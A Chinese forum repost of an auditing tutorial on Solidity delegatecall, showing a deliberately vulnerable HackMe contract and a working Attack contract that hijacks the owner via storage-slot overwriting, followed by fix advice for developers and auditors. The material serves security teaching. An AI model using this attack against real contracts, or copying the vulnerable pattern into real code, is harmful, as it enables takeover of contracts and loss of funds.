优惠论坛
Well123
注册
找回密码 |
天策评选的优秀公司,所有会员与公司发生的问题我们将负责尽力协助处理。
收起/展开
新晋公司
 

新晋公司具有驻站代表,并不在论坛纠纷服务范围内,请会员自行判断选择

  • 356
S级信誉公司
ManBetX万博
YZ
12BET
乐投
188金宝博
E世博
A级信誉公司
吉祥坊
星宝合营
乐动体育
B级信誉公司
bet365
C级合作公司
CMP
乐天堂
金星
LOKI
平博
  • 推荐主题
  • 热门活动
  • 币圈快讯
  • 商城动态
重要通知
 
天策搜索
论坛搜索
              搜索
Array ( [fid] => 6980 [description] => [password] => [icon] => [redirect] => [attachextensions] => [creditspolicy] => Array ( [post] => Array ( [usecustom] => 1 [cycletype] => 1 [cycletime] => 0 [rewardnum] => 75 [extcredits1] => 0 [extcredits2] => 0 [extcredits3] => 0 [extcredits4] => 0 [extcredits5] => 0 [extcredits6] => 0 [extcredits7] => 0 [extcredits8] => 0 [rid] => 1 [fid] => 6980 [rulename] => 发表主题 [action] => post [fids] => 32,52,67,447,1120,1151,1156,6750,6762,6763,6766,6769,6772,6773,6787,6796,6808,6809,6810,6813,6814,6820,6829,6830,6846,6856,6864,6865,6827,6930,6931,6776,6858,6880,6764,6932,6871,6758,6905,1116,6788,6812,6798,6736,6759,6842,6966,6767,6828,6924,6935,6936,6938,6940,6941,6826,6909,6803,6919,6911,6908,6881,6920,6912,6913,6921,6925,6922,6789,6818,6819,6872,6928,6969,6889,6888,6917,6939,6947,6961,6937,6943,6970,6869,6900,6902,6783,6817,1111,6870,6821,6951,6876,6952,6954,6960,6942,6910,6949,6962,6963,6964,6927,6926,6973,6728,6929,6874,6894,6896,6885,6857,6868,1113,6778,56,6844,6878,6802,6933,6811,6923,6877,6875,6918,6892,6757,6832,6833,6795,6793,6848,6837,6849,6850,6851,6852,6853,6854,6863,6882,6836,6790,6838,6794,6791,6873,555,6895,6934,6958,6944,6945,6907,6779,6886,6950,6904,6956,6862,6957,6855,6955,6959,6914,6965,6971,6972,6953,6975,6976,6799,6974,6824,6815,6891,6866,6979,6977,6765,6903,6948,6845,6879,1121,6980 ) [reply] => Array ( [usecustom] => 1 [cycletype] => 4 [cycletime] => 0 [rewardnum] => 0 [extcredits1] => 0 [extcredits2] => 0 [extcredits3] => 0 [extcredits4] => 0 [extcredits5] => 0 [extcredits6] => 0 [extcredits7] => 0 [extcredits8] => 0 [rid] => 2 [fid] => 6980 [rulename] => 发表回复 [action] => reply ) [digest] => Array ( [usecustom] => 1 [cycletype] => 4 [cycletime] => 0 [rewardnum] => 0 [extcredits1] => 0 [extcredits2] => 0 [extcredits3] => 0 [extcredits4] => 0 [extcredits5] => 0 [extcredits6] => 0 [extcredits7] => 0 [extcredits8] => 0 [rid] => 3 [fid] => 6980 [rulename] => 加精华 [action] => digest ) ) [formulaperm] => a:5:{i:0;s:0:"";i:1;s:0:"";s:7:"message";s:0:"";s:5:"medal";N;s:5:"users";s:0:"";} [moderators] => [rules] => [threadtypes] => Array ( [status] => 1 [required] => 0 [listable] => 0 [types] => Array ( ) ) [threadsorts] => Array ( ) [viewperm] => [postperm] => [replyperm] => [getattachperm] => [postattachperm] => [postimageperm] => [spviewperm] => [seotitle] => [keywords] => [seodescription] => [supe_pushsetting] => [modrecommend] => Array ( [open] => 0 [num] => 10 [imagenum] => 0 [imagewidth] => 300 [imageheight] => 250 [maxlength] => 0 [cachelife] => 0 [dateline] => 0 ) [threadplugin] => Array ( ) [replybg] => [extra] => a:2:{s:9:"namecolor";s:0:"";s:9:"iconwidth";s:0:"";} [jointype] => 0 [gviewperm] => 0 [membernum] => 0 [dateline] => 0 [lastupdate] => 0 [activity] => 0 [founderuid] => 0 [foundername] => [banner] => [groupnum] => 0 [commentitem] => [relatedgroup] => [picstyle] => 0 [widthauto] => 0 [noantitheft] => 0 [noforumhidewater] => 0 [noforumrecommend] => 0 [livetid] => 0 [price] => 0 [fup] => 6974 [type] => sub [name] => 币圈资讯 [status] => 1 [displayorder] => 0 [styleid] => 0 [threads] => 50922 [posts] => 50990 [todayposts] => 0 [yesterdayposts] => 0 [rank] => 61 [oldrank] => 59 [lastpost] => 2688723 美国2024年大选已花费147亿美元,或为史上最贵 1730688420 比推快讯 [domain] => [allowsmilies] => 1 [allowhtml] => 1 [allowbbcode] => 1 [allowimgcode] => 1 [allowmediacode] => 0 [allowanonymous] => 0 [allowpostspecial] => 1 [allowspecialonly] => 0 [allowappend] => 0 [alloweditrules] => 0 [allowfeed] => 0 [allowside] => 0 [recyclebin] => 1 [modnewposts] => 0 [jammer] => 0 [disablewatermark] => 0 [inheritedmod] => 0 [autoclose] => 0 [forumcolumns] => 0 [catforumcolumns] => 0 [threadcaches] => 0 [alloweditpost] => 1 [simple] => 16 [modworks] => 0 [allowglobalstick] => 1 [level] => 0 [commoncredits] => 0 [archive] => 0 [recommend] => 0 [favtimes] => 0 [sharetimes] => 0 [disablethumb] => 0 [disablecollect] => 0 [ismoderator] => 0 [threadtableid] => 0 [allowreply] => [allowpost] => [allowpostattach] => )
打印 上一主题 下一主题
智能合约安全审计入门篇 —— delegatecall (2)
[复制链接]
avatar
跳转到指定楼层
1#

上篇文章中我们了解了什么是 delegatecall 函数以及一个基础的漏洞,这篇文章的目的是加深一下大家对 delegatecall 的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。

这里就不再重复之前的基础知识了,不了解或者遗忘的可以再看看上一篇文章:《智能合约安全审计入门篇 —— delegatecall (1)》

漏洞示例

contract Lib {    uint public someNumber;
   function doSomething(uint _num) public {        someNumber = _num;    }}
contract HackMe {    address public lib;    address public owner;    uint public someNumber;
   constructor(address _lib) {        lib = _lib;        owner = msg.sender;    }
   function doSomething(uint _num) public {        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));    }}

漏洞分析

这次的攻击目标依然是获得 HackMe 合约中的 owner 权限,我们可以看到两个合约中除了 HackMe 合约中的构造函数可以修改合约的 owner 其他地方并没有修改 owner 的函数。我们要如何完成攻击呢?这里需要一点小技巧,大家可以思考一下,刚好也可以验证一下自己对于之前知识的掌握程度以及自己的思维是否活跃。

是否有想法呢?没有想法也没关系,我们一起来看攻击是如何完成的:

攻击合约

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;
contract Attack {    // Make sure the storage layout is the same as HackMe    // This will allow us to correctly update the state variables    address public lib;    address public owner;    uint public someNumber;
   HackMe public hackMe;
   constructor(HackMe _hackMe) {        hackMe = HackMe(_hackMe);    }
   function attack() public {        // override address of lib        hackMe.doSomething(uint(uint160(address(this))));        // pass any number as input, the function doSomething() below will        // be called        hackMe.doSomething(1);    }
   // function signature must match HackMe.doSomething()    function doSomething(uint _num) public {        owner = msg.sender;    }}

我们先看攻击流程:

1. Alice 部署 Lib 合约;

2. Alice 部署 HackMe 合约并在构造函数中传入 Lib 合约的地址;

3. 攻击者 Eve 部署 Attack 合约并在构造函数中传入 HackMe 合约的地址;

4. 攻击者调用 Attack.attack() 函数将 HackMe 合约中的 owner 变为自己。

咋回事儿呢?其实这个攻击方式就是很巧妙的运用了 delegatecall 这个函数修改 storage 类型变量时的特征:delegatecall 函数的执行环境是调用者的环境并且对于 storage 类型变量的修改是根据被调用合约变量存储的插槽位置来修改的。

1. Attack.attack() 函数先将自己的地址转换为 uint256 类型(这一步是为了兼容目标合约中的数据类型)第一次调用 HackMe.doSomething() 函数;

2. HackMe.doSomething() 函数使用 delegatecall 函数带着传入的 Attack 合约的地址调用了 Lib.doSomething() 函数;

3. 可以看到 Lib.doSomething() 函数将合约中存储位置为 slot0 的参数改为传入的值,这样当 HackMe 合约使用 delegatecall 调用 Lib.doSomething() 函数时也将改变自己在 slot0 位置存储的变量的值,也就是将 lib 参数(这里存储的是 Lib 合约的地址)改为我们传入的 Attack 合约的地址。此时之前在 HackMe.lib 参数中存储的 Lib 合约的地址就被修改成我们传入的 Attack 合约的地址了;

4. Attack.attack() 函数再次调用 HackMe.doSomething() 函数,由于在上一步我们已经将 HackMe.lib 变量修改为 Attack 合约的地址了,这时 HackMe.doSomething() 函数将不再调用之前的 Lib 合约而是用 delegatecall 去调用 Attack.doSomething() 函数。此时我们再来观察 Attack 合约的写法,发现其变量的存储位置故意和 HackMe 合约保持一致,并且不难发现 Attack.doSomething() 函数的内容也被攻击者写为 owner = msg.sender,这个操作修改了合约中存储位置为 slot1 的变量。所以 HackMe 合约使用 delegatecall 调用 Attack.doSomething() 函数就会将合约中存储位置为 slot1 的变量 owner 修改为 msg.sender 也就是 Eve 的地址,至此攻击者完成了他的攻击。

修复建议

作为开发者

1. 在使用 delegatecall 时应注意被调用合约的地址不能是可控的;

2. 在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用 delegatecall 进行外部调用时会根据被调用合约的数据结构来修改本合约相应 slot 中存储的数据,当数据结构发生变化时这可能会造成非预期的变量覆盖。

作为审计者

1. 在审计过程中遇到合约中有使用 delegatecall 时需要注意被调用的合约地址是否可控;

2. 当被调用合约中的函数存在修改 storage 变量的情况时需要注意变量存储插槽的位置,避免由于数据结构不一致而导致本合约中存储的 storage 变量被错误的覆盖。

来源:金色财经

您需要登录后才可以回帖 登录 | 论坛注册

本版积分规则

:) :( :D :'( :@ :o
:P :$ ;P :L :Q :lol
:loveliness: :funk: :curse: :dizzy: :shutup: :sleepy:
:hug: :victory: :time: :kiss: :handshake: :call:
{:8_286:} {:8_287:} {:8_288:} {:8_289:}
{:8_290:} {:8_291:} {:8_292:} {:8_293:}
{:8_294:} {:8_295:} {:8_296:} {:8_297:}
{:8_298:} {:8_299:} {:8_300:} {:8_301:}
{:8_302:} {:8_303:} {:8_304:} {:8_305:}
{:8_306:} {:8_307:} {:8_308:} {:8_309:}
{:8_310:} {:8_311:} {:8_312:}
{:8_313:} {:8_314:} {:8_315:} {:8_316:}
{:8_317:} {:8_318:} {:8_319:} {:8_320:}
:) :( :D :'( :@ :o
:P :$ ;P :L :Q :lol
:loveliness: :funk: :curse: :dizzy: :shutup: :sleepy:
:hug: :victory: :time: :kiss: :handshake: :call:
:) :( :D :'( :@ :o
:P :$ ;P :L :Q :lol
:loveliness: :funk: :curse: :dizzy: :shutup: :sleepy:
:hug: :victory: :time: :kiss: :handshake: :call:
:hug: :victory:
:) :( :D :'( :@ :o
:P :$ ;P :L :Q :lol
:loveliness: :funk: :curse: :dizzy: :shutup: :sleepy:
:hug: :victory: :time: :kiss: :handshake: :call:
:hug: :victory: :time: :kiss: :handshake: :call:
:hug: :victory: :time: :kiss: :handshake: :call:
:hug: :victory: :time: :kiss: :handshake: :call:
:hug: :victory: :time: :kiss: :handshake: :call:
:hug: :victory: :time: :kiss: :handshake:
未有绑定记录
 


Powered by 天策论坛   © 2007-2024 天策论坛 | 小黑屋 | 手机|
1717 : 0